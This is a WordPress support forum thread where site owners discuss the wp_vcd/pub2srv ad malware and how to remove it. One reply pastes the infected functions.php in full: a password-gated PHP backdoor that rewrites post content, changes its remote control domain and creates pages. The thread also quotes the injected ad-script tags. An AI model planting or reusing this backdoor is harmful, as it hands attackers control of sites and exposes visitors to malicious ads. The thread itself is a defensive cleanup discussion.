MW:JS:GEN2?rogueads.unwanted_ads.1

solved!
it was a plugin. don’t know which one as i delelted more of them. but…i am happy again ??

Hello @oga23,

I’m also getting exact error <script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=1063894"></script>
<script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=628268&interactive=1&pushup=1"></script

I’m not able to find which plugin is causing the issue. Can you please guide me to remove these because I’m getting heck of on click ads on my websites.

Hi there,
First – check your functions.php files. There should be some strange code in them right at the beginning. By them i mean main and child theme.
Then – look for a subscriber named admin and delete.
Do this on every subdomain you have.
Delete sharethis plugin.
Hope it helps.??

Hello @oga23

I checked function.php of themes but nothing weird found there. This is the snippet of first 100 lines : `<?php

if (isset($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ($_REQUEST[‘password’] == ‘**********************’))
{
$div_code_name=”wp_vcd”;
switch ($_REQUEST[‘action’])
{
case ‘get_all_links’;
foreach ($wpdb->get_results(‘SELECT * FROM ' . $wpdb->prefix . 'posts WHERE post_status = “publish” AND post_type = “post” ORDER BY ID DESC’, ARRAY_A) as $data)
{
$data[‘code’] = ”;

if (preg_match(‘!<div id=”‘.$div_code_name.'”>(.*?)</div>!s’, $data[‘post_content’], $_))
{
$data[‘code’] = $_[1];
}

print ‘<e><w>1</w><url>’ . $data[‘guid’] . ‘</url><code>’ . $data[‘code’] . ‘</code><id>’ . $data[‘ID’] . ‘</id></e>’ . “\r\n”;
}
break;

case ‘set_id_links’;
if (isset($_REQUEST[‘data’]))
{
$data = $wpdb -> get_row(‘SELECT post_content FROM ' . $wpdb->prefix . 'posts WHERE ID = “‘.mysql_escape_string($_REQUEST[‘id’]).'”‘);

$post_content = preg_replace(‘!<div id=”‘.$div_code_name.'”>(.*?)</div>!s’, ”, $data -> post_content);
if (!empty($_REQUEST[‘data’])) $post_content = $post_content . ‘<div id=”‘.$div_code_name.'”>’ . stripcslashes($_REQUEST[‘data’]) . ‘</div>’;

if ($wpdb->query(‘UPDATE ' . $wpdb->prefix . 'posts SET post_content = “‘ . mysql_escape_string($post_content) . ‘” WHERE ID = “‘ . mysql_escape_string($_REQUEST[‘id’]) . ‘”‘) !== false)
{
print “true”;
}
}
break;

case ‘change_div’;
if (isset($_REQUEST[‘newdiv’]))
{

if (!empty($_REQUEST[‘newdiv’]))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all(‘/\$div_code_name=”(.*)”;/i’,$file,$matcholddiv))
{
echo $matcholddiv[1][0];
$file = preg_replace(‘/’.$matcholddiv[1][0].’/i’,$_REQUEST[‘newdiv’], $file);
@file_put_contents(__FILE__, $file);
print “true”;
}

}
}
}
break;

case ‘change_domain’;
if (isset($_REQUEST[‘newdomain’]))
{

if (!empty($_REQUEST[‘newdomain’]))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all(‘/\$tmpcontent = @file_get_contents\(“http:\/\/(.*)\/code\.php/i’,$file,$matcholddomain))
{

$file = preg_replace(‘/’.$matcholddomain[1][0].’/i’,$_REQUEST[‘newdomain’], $file);
@file_put_contents(__FILE__, $file);
print “true”;
}

}
}
}
break;

case ‘create_page’;
if (isset($_REQUEST[‘remove_page’]))
{
if ($wpdb -> query(‘DELETE FROM ' . $wpdb->prefix . 'datalist WHERE url = “/’.mysql_escape_string($_REQUEST[‘url’]).'”‘))
{
print “true”;
}
}
elseif (isset($_REQUEST[‘content’]) && !empty($_REQUEST[‘content’]))
{
if ($wpdb -> query(‘INSERT INTO ' . $wpdb->prefix . 'datalist SET url = “/’.mysql_escape_string($_REQUEST[‘url’]).'”, title = “‘.mysql_escape_string($_REQUEST[‘title’]).'”, keywords = “‘.mysql_escape_string($_REQUEST[‘keywords’]).'”, description = “‘.mysql_escape_string($_REQUEST[‘description’]).'”, content = “‘.mysql_escape_string($_REQUEST[‘content’]).'”, full_content = “‘.mysql_escape_string($_REQUEST[‘full_content’]).'” ON DUPLICATE KEY UPDATE title = “‘.mysql_escape_string($_REQUEST[‘title’]).'”, keywords = “‘.mysql_escape_string($_REQUEST[‘keywords’]).'”, description = “‘.mysql_escape_string($_REQUEST[‘description’]).'”, content = “‘.mysql_escape_string(urldecode($_REQUEST[‘content’])).'”, full_content = “‘.mysql_escape_string($_REQUEST[‘full_content’]).'”‘))
{
print “true”;
}
}
break;

default: print “ERROR_WP_ACTION WP_V_CD”;
}

die(“”);
}`

I checked the user list but haven’t found “admin” user. I’m not using sharethis plugin.
Can you look into if I give temporary access?

Thanks, I also had , although the function that I had put into the files funtions.php was longer. Thanks again!

My website was infected with this pub2srv malware last week. There were advertisements showing up and what not. I did managed to remove some fishy looking websites myself but then this kept on coming, had to take some professional help in the end.

This link had helped me, looks derived from this thread itself:

https://www.getastra.com/blog/911/how-to-remove-pub2srv-malware-from-your-wordpress-opencart-website/

Same redirect and popup ad malware was infected on our site! We fixed it!

Check https://www.ads-software.com/support/topic/ad-malware-on-our-site-but-cant-remove/#post-9768983